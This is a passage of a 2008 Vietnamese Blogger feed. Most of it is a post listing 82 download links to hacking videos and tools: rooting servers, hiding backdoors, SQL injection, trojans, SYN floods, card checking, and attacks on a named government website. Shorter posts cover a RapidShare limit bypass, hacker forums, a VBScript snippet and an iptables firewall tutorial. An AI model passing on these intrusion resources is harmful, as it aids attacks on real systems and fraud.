/&gt;For Each objFolder in colFolders&lt;br /&gt;    Wscript.Echo "Name: " &amp; objFolder.Name&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Verifying that a Folder Exists&lt;br /&gt;&lt;br /&gt;Demonstration script that uses the FileSystemObject to verify that a folder exists. If the folder does exist, the script binds to that folder. Script must be run on the local computer.&lt;br /&gt;&lt;br /&gt;Set objFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;If objFSO.FolderExists("C:\FSO") Then&lt;br /&gt;    Set objFolder = objFSO.GetFolder("C:\FSO")&lt;br /&gt;Else&lt;br /&gt;    Wscript.Echo "Folder does not exist.”&lt;br /&gt;End If&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-1520249698012579457?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/1520249698012579457/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=1520249698012579457' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/1520249698012579457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/1520249698012579457'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/scripts-to-manage-folders.html' title='Scripts to manage Folders  activexperts.com'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-6529172856130160489</id><published>2008-09-22T00:22:00.000-07:00</published><updated>2008-09-22T00:23:56.989-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rapidshare'/><title type='text'>Another way to download from rapidshare</title><content type='html'>url:http://shailendra88.blogspot.com/2008/02/another-way-to-download-from-rapidshare.html&lt;br /&gt;&lt;br /&gt;Friday, February 22, 2008&lt;br /&gt;Another way to download from rapidshare&lt;br /&gt;Posted by Shailendra at 8:35 PM&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Are you tired of downloading from rapidshare for its time limits ?Then this the perfect way to download without waiting limits.&lt;br /&gt;&lt;br /&gt;Previously I mentioned about some scripts which will bypass the timelimit,but a software named RapidDowner is far more better than this.You have to just enter the rapidshare url and specify some proxy from the list and RapidDowner does the rest of work.This program to by pass the 110 minute waiting time limit and make it in a few minutes. Built on the .net framework and forum supported. Make rapidshare your easy free hosting service.&lt;br /&gt;&lt;br /&gt;[Download RapidDowner]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-6529172856130160489?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/6529172856130160489/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=6529172856130160489' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/6529172856130160489'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/6529172856130160489'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/another-way-to-download-from-rapidshare.html' title='Another way to download from rapidshare'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-5788192764160608794</id><published>2008-09-12T00:41:00.000-07:00</published><updated>2008-09-12T00:42:04.645-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Danh sách các forum hacker vietnam</title><content type='html'>http://www.vnsecurity.com&lt;br /&gt;http://www.vnmagic.org&lt;br /&gt;http://ww.hvaonline.net&lt;br /&gt;http://www.vnbrain.net&lt;br /&gt;http://www.hcegroup.net&lt;br /&gt;http://www.viethacker.org&lt;br /&gt;http://www.thegioingam.biz&lt;br /&gt;http://www.vietxpert.name&lt;br /&gt;http://www.vhz.vn&lt;br /&gt;http://www.vnres.net&lt;br /&gt;http://www.hack2learn.net&lt;br /&gt;http://www.viet4all.biz&lt;br /&gt;http:www.vietfrauders.org&lt;br /&gt;http:www.en-hack.net&lt;br /&gt;http:www.viet4all.biz&lt;br /&gt;http:www.beyeugroup.com&lt;br /&gt;http:www.vniss&lt;br /&gt;&lt;br /&gt;url:http://www.binhphuoc.org/diendan/showthread.php?t=3821&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-5788192764160608794?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/5788192764160608794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=5788192764160608794' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5788192764160608794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5788192764160608794'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/danh-sch-cc-forum-hacker-vietnam.html' title='Danh sách các forum hacker vietnam'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-3034216249407751594</id><published>2008-09-12T00:37:00.000-07:00</published><updated>2008-09-12T00:41:23.352-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>bộ sưu tập tổng hợp link down các video dạy hack(full version)</title><content type='html'>bộ sưu tập tổng hợp link down các video dạy hack(full version)&lt;br /&gt;có thể 1 số link đã die mong ae thông cảm dùm,link nào die ae kiếm cái khác fix dùm nha&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1&gt; http://warezshare.com/download.php?f...df7d54a71f7663&lt;br /&gt;2&gt; http://thanhnamhp.com.vn/cfm.rar&lt;br /&gt;3&gt; http://www.filenanny.com/files/46ecc.../Hacklocal.rar&lt;br /&gt;bug local backup data&lt;br /&gt;4&gt; http://www.mediamax.com/vipundergrou...kup%20data.zip&lt;br /&gt;5&gt;hack shop cfm&lt;br /&gt;http://www.mediamax.com/vipundergroup/Hosted/cfm.rar&lt;br /&gt;6&gt;down load hack&lt;br /&gt;http://www.mediamax.com/vipundergrou...d/download.rar&lt;br /&gt;7&gt;bug esyndicat&lt;br /&gt;http://www.mediamax.com/vipundergrou..._esyndicat.rar&lt;br /&gt;8&gt;bug ezupload&lt;br /&gt;http://www.mediamax.com/vipundergrou...upload-leo.rar&lt;br /&gt;9&gt;file manager bug&lt;br /&gt;http://www.mediamax.com/vipundergrou...le_Manager.rar&lt;br /&gt;10&gt;get root 1&lt;br /&gt;http://www.mediamax.com/vipundergrou...d/getroot1.rar&lt;br /&gt;11&gt;get root2&lt;br /&gt;http://www.mediamax.com/vipundergrou...d/getroot2.rar&lt;br /&gt;12&gt;get root3&lt;br /&gt;http://www.mediamax.com/vipundergrou...d/getroot3.rar&lt;br /&gt;13&gt;Hacking vbb 3.6.6 bug XSS&lt;br /&gt;http://www.mediamax.com/vipundergrou...g%20XXS%29.rar&lt;br /&gt;14&gt;hide backdoor1&lt;br /&gt;http://www.mediamax.com/vipundergrou...0backdoor1.rar&lt;br /&gt;15&gt;hide backdoor2&lt;br /&gt;http://www.mediamax.com/vipundergrou...0backdoor2.rar&lt;br /&gt;16&gt;how i get free host (hack host demo)&lt;br /&gt;http://www.mediamax.com/vipundergrou...etfreehost.rar&lt;br /&gt;17&gt;Invision_Power_Board_2[1].1.7_Password_Change_Demonstration&lt;br /&gt;http://www.mediamax.com/vipundergrou..._Power_Board_2&lt;br /&gt;18&gt;local hack1&lt;br /&gt;http://www.mediamax.com/vipundergrou...al%20hack1.rar&lt;br /&gt;19&gt;local hack2&lt;br /&gt;http://www.mediamax.com/vipundergrou...al%20hack2.rar&lt;br /&gt;20&gt;local hack3&lt;br /&gt;http://www.mediamax.com/vipundergrou...al%20hack3.rar&lt;br /&gt;21&gt;Phim huong dan hack co ban nhat&lt;br /&gt;http://www.mediamax.com/vipundergrou...dan%20hack.rar&lt;br /&gt;22&gt;phpbb&lt;br /&gt;http://www.mediamax.com/vipundergroup/Hosted/phpbb.rar&lt;br /&gt;23&gt;Remote destop hack&lt;br /&gt;http://www.mediamax.com/vipundergrou...Remote-vnc.rar&lt;br /&gt;24&gt;rEmOtEr_VS_Microsoft&lt;br /&gt;http://www.mediamax.com/vipundergrou..._Microsoft.rar&lt;br /&gt;25&gt;SQL injection1&lt;br /&gt;http://www.mediamax.com/vipundergrou...Linjection.rar&lt;br /&gt;26&gt;SQL injection2&lt;br /&gt;http://www.mediamax.com/vipundergrou...injection2.rar&lt;br /&gt;27&gt;how to hack thanhhoa.gov.vn&lt;br /&gt;http://www.mediamax.com/vipundergrou...d/thanhhoa.rar&lt;br /&gt;28&gt;upload hack1&lt;br /&gt;http://www.mediamax.com/vipundergrou...ed/upload1.rar&lt;br /&gt;29&gt;upload hack2&lt;br /&gt;http://www.mediamax.com/vipundergrou...ed/upload2.rar&lt;br /&gt;30&gt;upload hack3&lt;br /&gt;http://www.mediamax.com/vipundergrou...ed/upload3.rar&lt;br /&gt;31&gt;vbb 3.5.x bug ugrade&lt;br /&gt;http://www.mediamax.com/vipundergrou...g%20ugrade.rar&lt;br /&gt;32&gt;video fake ip&lt;br /&gt;http://www.mediamax.com/vipundergrou...0fake%20ip.rar&lt;br /&gt;windows exploit&lt;br /&gt;33&gt;http://www.mediamax.com/vipundergrou...ws-exploit.rar&lt;br /&gt;34&gt;xsst unnelling-video&lt;br /&gt;http://www.mediamax.com/vipundergrou...ling-video.zip&lt;br /&gt;35&gt;Yahoo Fake [FuLL ViDEO bY HeliOs]&lt;br /&gt;http://www.mediamax.com/vipundergrou...ahoo%20Fake%20[FuLL%20ViDEO%20bY%20HeliOs].rar&lt;br /&gt;36&gt;hackshop&lt;br /&gt;http://www.mediamax.com/vipundergrou...d/hackshop.rar&lt;br /&gt;37&gt;video tut backconnect "Moi nguoi fale Ip thif down duoc bang link nay"&lt;br /&gt;http://freewebtown.com/hackingvn/vid...backconect.rar&lt;br /&gt;38&gt;SQL Injection 4&lt;br /&gt;http://www.box.net/shared/static/rsuoufbpj1.rar&lt;br /&gt;or http://rapidshare.com/files/59957095/leo2.rar&lt;br /&gt;39&gt;Demo how i got root on server HPTVIETNAM &lt;br /&gt;http://www.megaupload.com/?d=1KGA9NGK&lt;br /&gt;40&gt;Backdoor and JPG &lt;br /&gt;http://str0ke213.tradebit.com/pub/8/57.swf&lt;br /&gt;41&gt;Crack MD5 user online and Cain&lt;br /&gt;http://dl1.filmshare24h.net/md5-password-cracking.swf&lt;br /&gt;42&gt;hack computer trên mạng internet! &lt;br /&gt;http://www.y0ume.net/video/hack%20computer.rar&lt;br /&gt;43&gt;409 Video hack&lt;br /&gt;http://www.forcehacker.com/videos.html&lt;br /&gt;44&gt;một cách ẩn shell &lt;br /&gt;http://www.y0ume.net/video/chenshell.rar&lt;br /&gt;45&gt;Một đống video hacking nhìu wá &lt;br /&gt;http://137.132.19.24/security_course/vid_tutorials/&lt;br /&gt;46&gt;Windows Password Hacking (Video) &lt;br /&gt;http://www.youtube.com/watch?v=vZDgR...search=laporte&lt;br /&gt;47&gt;iFrame DoS Explained &lt;br /&gt;http://one.revver.com/watch/211124&lt;br /&gt;48&gt;Hack Shop CFM ,Remote PC,Check CC &lt;br /&gt;http://uploadingit.com/files/197409_...S(Fix%202).zip&lt;br /&gt;49&gt;video hacking from PLD &lt;br /&gt;http://rapidshare.de/files/36172349/Sec.Videos1.rar&lt;br /&gt;http://rapidshare.de/files/36169967/Sec.Videos2.rar&lt;br /&gt;50&gt;video clip attack thanhhoa.gov.vn &lt;br /&gt;khoai.bop.vu/thanhhoa.rar&lt;br /&gt;51&gt;TUT hack shop asp moi!!!!!!!!!!!!!!! &lt;br /&gt;http://207.210.226.130/~thomaser/tool/hackasp.rar&lt;br /&gt;52&gt;upload hacking phần 2&lt;br /&gt;http://thanhnamhp.com.vn/upload.rar&lt;br /&gt;http://www.videos.learntohell.net/infectedgif.swf&lt;br /&gt;53&gt;VNC Remote video &lt;br /&gt;http://kid1412.110mb.com/Remote-vnc.rar&lt;br /&gt;http://kid1412.110mb.com/VNC.zip&lt;br /&gt;54&gt;1 kho video nữa nè &lt;br /&gt;Anh em down thoải mái nha &lt;br /&gt;http://aria-security.net/UPDATES/1st/Video/&lt;br /&gt;http://video.hackinthebox.org/2006.html&lt;br /&gt;http://chaosradio.ccc.de/22c3_m4v_563.html&lt;br /&gt;http://shmoocon.org/2006/presentations.html&lt;br /&gt;How Get Root Safe Mode On Server &lt;br /&gt;http://www.freewebs.com/lyokha/CraVideos.rar&lt;br /&gt;55&gt; windows fun&lt;br /&gt;http://warezshare.com/download.php?f...541ea58e44c56f&lt;br /&gt;http://warezshare.com/download.php?f...10ddc3e346dbe2&lt;br /&gt;56&gt;Include shell trong PHP&lt;br /&gt;phan 1: http://www.megaupload.com/vn/?d=9YW156EC&lt;br /&gt;phan 2: http://www.megaupload.com/?d=Y8HFO9EH&lt;br /&gt;57&gt;video chào mừng 2/9 &lt;br /&gt;http://www.megaupload.com/?d=I92BALB5&lt;br /&gt;58&gt;==&gt;&gt;Windows server rooting&lt;&lt;==&lt;br /&gt;http://www.freewebs.com/lyokha/winserverrooting.avi.flv&lt;br /&gt;59&gt;Video Local r00t Update 2007 - zer0c00l&lt;br /&gt;http://rapidshare.com/files/51844339/r00t2007.rar.html&lt;br /&gt;60&gt;video dùng trojan Shark 2 &lt;br /&gt;http://freewebtown.com/hackingvn/videohack/sharK 2 Tutorial.rar&lt;br /&gt;61&gt;clip hack VBB với lỗi SQL injection ( mod RPG Inferno v2.4) &lt;br /&gt;http://69.89.31.82/~seyiloco/leo9x/leo.rar &lt;br /&gt;http://69.89.31.82/~seyiloco/leo9x/leo.txt&lt;br /&gt;http://69.89.31.82/~seyiloco/leo9x/milw0rm.txt &lt;br /&gt;62&gt;Video hacking , bug upload :-D &lt;br /&gt;http://www.megaupload.com/?d=S7W44YQ0&lt;br /&gt;63&gt;Chèn Backdoor vào tập tin JPG &lt;br /&gt;http://str0ke213.tradebit.com/pub/8/57.swf&lt;br /&gt;64&gt;getroot&lt;br /&gt;http://quangtrungschool.org/upload/getroot1.rar&lt;br /&gt;65&gt;[Video] Include Shell VBB &amp; Hide Backdoor for newbie &lt;br /&gt;http://www.box.net/public/2koz7exe6q&lt;br /&gt;66&gt;Video hack ibf &lt;br /&gt;http://www.badongo.com/file/3562304&lt;br /&gt;http://www.quangtrungschool.org/upload/Hack_ipf.rar&lt;br /&gt;67&gt;video download by pass!&lt;br /&gt;http://66.165.236.155/~wayland/Tut.zip&lt;br /&gt;68&gt;Exploit For vBulletin_all_version&lt;br /&gt;http://www.megaupload.com/?d=YK270LVU&lt;br /&gt;69&gt;Include shell với PhpBB &lt;br /&gt;http://rapidshare.com/files/9742816/...shell.rar.html&lt;br /&gt;http://www.4shared.com/file/8167032/...ludeshell.html&lt;br /&gt;70&gt;Video Music Thai Anh exp-do Langtuhoahao found !!! &lt;br /&gt;http://orange.smartwavetech.com/~yeu...on_thaianh.rar&lt;br /&gt;71&gt;tài nguyên video&lt;br /&gt;http://www.irdu.nus.edu.sg/security_...vid_tutorials/&lt;br /&gt;72&gt;Video Lesson - Inject Trojan 2 Web vs Hack Infobar Sp2 &lt;br /&gt;Link : http://z0mbie12.net/videoclip/exe2vbs-videohacking2.rar &lt;br /&gt;73&gt;Invision Power Board 2.1.7 (Debug) Remote Password Change Demonstration &lt;br /&gt;http://rapidshare.com/files/19230640...onstration.rar &lt;br /&gt;or&lt;br /&gt;http://rapidshare.com/files/2155224/ipb217.swf&lt;br /&gt;74&gt;Bugs local backup data &lt;br /&gt;tp://tailieumang.info/Tut.zip&lt;br /&gt;75&gt;SYN Flood &lt;br /&gt;http://k49c.net/gk/SYNFlood.rar&lt;br /&gt;76&gt;Hacking Movies &lt;br /&gt;http://2600.ir/pages/videoclips.htm&lt;br /&gt;77&gt;tut hack site ezupload (video) &lt;br /&gt;http://www.megaupload.com/?d=GCSXUELR&lt;br /&gt;78&gt;1 site rất hay &lt;br /&gt;http://www.giaiphapantoan.com/index....per&amp;Itemid=112&lt;br /&gt;79&gt;Video Get root Linux 2.4.25 &lt;br /&gt;http://www.megaupload.com/?d=T9BCFRF4 or&lt;br /&gt;http://www.4shared.com/file/8358713/...ot_Access.html&lt;br /&gt;80&gt;sử dụng bug eGallery trong PHP-Nuke để upshell lên server &lt;br /&gt;http://milw0rm.com/video/watch.php?id=29&lt;br /&gt;81&gt;1 site security video &lt;br /&gt;www.learnsecurityonline.com &lt;br /&gt;http://phreaknic.wilpig.org/&lt;br /&gt;http://www.hackerscenter.com/video/&lt;br /&gt;http://www.illegalworld.com/&lt;br /&gt;82&gt;Video hacking phpinjection&lt;br /&gt;http://video.antichat.org/download_150.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;url:http://www.binhphuoc.org/diendan/showthread.php?t=1158&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-3034216249407751594?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/3034216249407751594/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=3034216249407751594' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/3034216249407751594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/3034216249407751594'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/b-su-tp-tng-hp-link-down-cc-video-dy_12.html' title='bộ sưu tập tổng hợp link down các video dạy hack(full version)'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-2845483282500687978</id><published>2008-09-12T00:34:00.000-07:00</published><updated>2008-09-12T00:36:02.178-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Iptables'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Thiết lập tường lửa Iptables cho Linux</title><content type='html'>Thiết lập tường lửa Iptables cho Linux&lt;br /&gt;Lời mở đầu&lt;br /&gt;Trong bài viết này, mình sẽ hướng dẫn cho bạn cách thiết lập tường lửa Iptables trên Linux. Bài viết gồm hai phần chính: phần I sẽ giới thiệu cơ bản về cách thức hoạt động của Iptables và phần II sẽ hướng dẫn bạn lập cấu hình Iptables cho một máy chủ phục vụ Web cụ thể&lt;br /&gt;Bạn download file kèm theo tại địa chỉ IPtables&lt;br /&gt;&lt;br /&gt;Phần I: Giới thiệu về Iptables&lt;br /&gt;&lt;br /&gt;Iptables là một tường lửa ứng dụng lọc gói dữ liệu rất mạnh, miễn phí và có sẵn trên Linux.. Netfilter/Iptables gồm 2 phần là Netfilter ở trong nhân Linux và Iptables nằm ngoài nhân. Iptables chịu trách nhiệm giao tiếp giữa người dùng và Netfilter để đẩy các luật của người dùng vào cho Netfiler xử lí. Netfilter tiến hành lọc các gói dữ liệu ở mức IP. Netfilter làm việc trực tiếp trong nhân, nhanh và không làm giảm tốc độ của hệ thống.&lt;br /&gt;Hình Kèm Theo &lt;br /&gt;&lt;br /&gt;Cách đổi địa chỉ IP động (dynamic NAT)&lt;br /&gt;Trước khi đi vào phần chính, mình cần giới thiệu với các bạn về công nghệ đổi địa chỉ NAT động và đóng giả IP Masquerade. Hai từ này được dùng rất nhiều trong Iptables nên bạn phải biết. Nếu bạn đã biết NAT động và Masquerade, bạn có thể bỏ qua phần này.&lt;br /&gt;&lt;br /&gt;NAT động là một trong những kĩ thuật chuyển đổi địa chỉ IP NAT (Network Address Translation). Các địa chỉ IP nội bộ được chuyển sang IP NAT như sau:&lt;br /&gt;&lt;br /&gt;NAT Router đảm nhận việc chuyển dãy IP nội bộ 169.168.0.x sang dãy IP mới 203.162.2.x. Khi có gói liệu với IP nguồn là 192.168.0.200 đến router, router sẽ đổi IP nguồn thành 203.162.2.200 sau đó mới gởi ra ngoài. Quá trình này gọi là SNAT (Source-NAT, NAT nguồn). Router lưu dữ liệu trong một bảng gọi là bảng NAT động. Ngược lại, khi có một gói từ liệu từ gởi từ ngoài vào với IP đích là 203.162.2.200, router sẽ căn cứ vào bảng NAT động hiện tại để đổi địa chỉ đích 203.162.2.200 thành địa chỉ đích mới là 192.168.0.200. Quá trình này gọi là DNAT (Destination-NAT, NAT đích). Liên lạc giữa 192.168.0.200 và 203.162.2.200 là hoàn toàn trong suốt (transparent) qua NAT router. NAT router tiến hành chuyển tiếp (forward) gói dữ liệu từ 192.168.0.200 đến 203.162.2.200 và ngược lại.&lt;br /&gt;Hình Kèm Theo &lt;br /&gt;&lt;br /&gt;Cách đóng giả địa chỉ IP (masquerade)&lt;br /&gt;Đây là một kĩ thuật khác trong NAT.&lt;br /&gt;&lt;br /&gt;NAT Router chuyển dãy IP nội bộ 192.168.0.x sang một IP duy nhất là 203.162.2.4 bằng cách dùng các số hiệu cổng (port-number) khác nhau. Chẳng hạn khi có gói dữ liệu IP với nguồn 192.168.0.168:1204, đích 211.200.51.15:80 đến router, router sẽ đổi nguồn thành 203.162.2.4:26314 và lưu dữ liệu này vào một bảng gọi là bảng masquerade động. Khi có một gói dữ liệu từ ngoài vào với nguồn là 221.200.51.15:80, đích 203.162.2.4:26314 đến router, router sẽ căn cứ vào bảng masquerade động hiện tại để đổi đích từ 203.162.2.4:26314 thành 192.168.0.164:1204. Liên lạc giữa các máy trong mạng LAN với máy khác bên ngoài hoàn toàn trong suốt qua router.&lt;br /&gt;Hình Kèm Theo &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cấu trúc của Iptables&lt;br /&gt;Iptables được chia làm 4 bảng (table): bảng filter dùng để lọc gói dữ liệu, bảng nat dùng để thao tác với các gói dữ liệu được NAT nguồn hay NAT đích, bảng mangle dùng để thay đổi các thông số trong gói IP và bảng conntrack dùng để theo dõi các kết nối. Mỗi table gồm nhiều mắc xích (chain). Chain gồm nhiều luật (rule) để thao tác với các gói dữ liệu. Rule có thể là ACCEPT (chấp nhận gói dữ liệu), DROP (thả gói), REJECT (loại bỏ gói) hoặc tham chiếu (reference) đến một chain khác.&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Quá trình chuyển gói dữ liệu qua Netfilter&lt;br /&gt;Gói dữ liệu (packet) chạy trên chạy trên cáp, sau đó đi vào card mạng (chẳng hạn như eth0). Đầu tiên packet sẽ qua chain PREROUTING (trước khi định tuyến). Tại đây, packet có thể bị thay đổi thông số (mangle) hoặc bị đổi địa chỉ IP đích (DNAT). Đối với packet đi vào máy, nó sẽ qua chain INPUT. Tại chain INPUT, packet có thể được chấp nhận hoặc bị hủy bỏ. Tiếp theo packet sẽ được chuyển lên cho các ứng dụng (client/server) xử lí và tiếp theo là được chuyển ra chain OUTPUT. Tại chain OUTPUT, packet có thể bị thay đổi các thông số và bị lọc chấp nhận ra hay bị hủy bỏ. Đối với packet forward qua máy, packet sau khi rời chain PREROUTING sẽ qua chain FORWARD. Tại chain FORWARD, nó cũng bị lọc ACCEPT hoặc DENY. Packet sau khi qua chain FORWARD hoặc chain OUTPUT sẽ đến chain POSTROUTING (sau khi định tuyến). Tại chain POSTROUTING, packet có thể được đổi địa chỉ IP nguồn (SNAT) hoặc MASQUERADE. Packet sau khi ra card mạng sẽ được chuyển lên cáp để đi đến máy tính khác trên mạng.&lt;br /&gt;Hình Kèm Theo &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Các tham số dòng lệnh thường gặp của Iptables&lt;br /&gt;1. Gọi trợ giúp&lt;br /&gt;&lt;br /&gt;Để gọi trợ giúp về Iptables, bạn gõ lệnh $ man iptables hoặc $ iptables --help. Chẳng hạn nếu bạn cần biết về các tùy chọn của match limit, bạn gõ lệnh $ iptables -m limit --help.&lt;br /&gt;&lt;br /&gt;2. Các tùy chọn để chỉ định thông số&lt;br /&gt;&lt;br /&gt;- chỉ định tên table: -t &lt;tên_table&gt;, ví dụ -t filter, -t nat, .. nếu không chỉ định table, giá trị mặc định là filter&lt;br /&gt;&lt;br /&gt;- chỉ đinh loại giao thức: -p &lt;tên giao thức&gt;, ví dụ -p tcp, -p udp hoặc -p ! udp để chỉ định các giao thức không phải là udp&lt;br /&gt;&lt;br /&gt;- chỉ định card mạng vào: -i &lt;tên_card_mạng_vào&gt;, ví dụ: -i eth0, -i lo&lt;br /&gt;&lt;br /&gt;- chỉ định card mạng ra: -o &lt;tên_card_mạng_ra&gt;, ví dụ: -o eth0, -o pp0&lt;br /&gt;&lt;br /&gt;- chỉ định địa chỉ IP nguồn: -s &lt;địa_chỉ_ip_nguồn&gt;, ví dụ: -s 192.168.0.0/24 (mạng 192.168.0 với 24 bít mạng), -s 192.168.0.1-192.168.0.3 (các IP 192.168.0.1, 192.168.0.2, 192.168.0.3).&lt;br /&gt;&lt;br /&gt;- chỉ định địa chỉ IP đích: -d &lt;địa_chỉ_ip_đích&gt;, tương tự như -s&lt;br /&gt;&lt;br /&gt;- chỉ định cổng nguồn: --sport &lt;cổng_nguồn&gt;, ví dụ: --sport 21 (cổng 21), --sport 22:88 (các cổng 22 .. 88), --sport :80 (các cổng &lt;=80), --sport 22: (các cổng &gt;=22)&lt;br /&gt;&lt;br /&gt;- chỉ định cổng đích: --dport &lt;cổng_đích&gt;, tương tự như --sport&lt;br /&gt;&lt;br /&gt;3. Các tùy chọn để thao tác với chain&lt;br /&gt;&lt;br /&gt;- tạo chain mới: iptables -N &lt;tên_chain&gt;&lt;br /&gt;&lt;br /&gt;- xóa hết các luật đã tạo trong chain: iptables -X &lt;tên_chain&gt;&lt;br /&gt;&lt;br /&gt;- đặt chính sách cho các chain `built-in` (INPUT, OUTPUT &amp; FORWARD): iptables -P &lt;tên_chain_built-in&gt; &lt;tên policy (DROP hoặc ACCEPT)&gt;, ví dụ: iptables -P INPUT ACCEPT để chấp nhận các packet vào chain INPUT&lt;br /&gt;&lt;br /&gt;- liệt kê các luật có trong chain: iptables -L &lt;tên_chain&gt;&lt;br /&gt;&lt;br /&gt;- xóa các luật có trong chain (flush chain): iptables -F &lt;tên_chain&gt;&lt;br /&gt;&lt;br /&gt;- reset bộ đếm packet về 0: iptables -Z &lt;tên_chain&gt;&lt;br /&gt;&lt;br /&gt;4. Các tùy chọn để thao tác với luật&lt;br /&gt;&lt;br /&gt;- thêm luật: -A (append)&lt;br /&gt;&lt;br /&gt;- xóa luật: -D (delete)&lt;br /&gt;&lt;br /&gt;- thay thế luật: -R (replace)&lt;br /&gt;&lt;br /&gt;- chèn thêm luật: -I (insert)&lt;br /&gt;&lt;br /&gt;Mình sẽ cho ví dụ minh họa về các tùy chọn này ở phần sau.&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Phân biệt giữa ACCEPT, DROP và REJECT packet&lt;br /&gt;- ACCEPT: chấp nhận packet&lt;br /&gt;&lt;br /&gt;- DROP: thả packet (không hồi âm cho client)&lt;br /&gt;&lt;br /&gt;- REJECT: loại bỏ packet (hồi âm cho client bằng một packet khác)&lt;br /&gt;&lt;br /&gt;Ví dụ:&lt;br /&gt;&lt;br /&gt;# iptables -A INPUT -i eth0 --dport 80 -j ACCEPT chấp nhận các packet vào cổng 80 trên card mạng eth0&lt;br /&gt;&lt;br /&gt;# iptables -A INPUT -i eth0 -p tcp --dport 23 -j DROP thả các packet đến cổng 23 dùng giao thức TCP trên card mạng eth0&lt;br /&gt;&lt;br /&gt;# iptables -A INPUT -i eth1 -s ! 10.0.0.1-10.0.0.5 --dport 22 -j REJECT --reject-with tcp-reset gởi gói TCP với cờ RST=1 cho các kết nối không đến từ dãy địa chỉ IP 10.0.0.1..5 trên cổng 22, card mạng eth1&lt;br /&gt;&lt;br /&gt;# iptables -A INPUT -p udp --dport 139 -j REJECT --reject-with icmp-port-unreachable gởi gói ICMP `port-unreachable` cho các kết nối đến cổng 139, dùng giao thức UDP&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Phân biệt giữa NEW, ESTABLISHED và RELATED&lt;br /&gt;- NEW: mở kết nối mới&lt;br /&gt;&lt;br /&gt;- ESTABLISHED: đã thiết lập kết nối&lt;br /&gt;&lt;br /&gt;- RELATED: mở một kết nối mới trong kết nối hiện tại&lt;br /&gt;&lt;br /&gt;Ví dụ:&lt;br 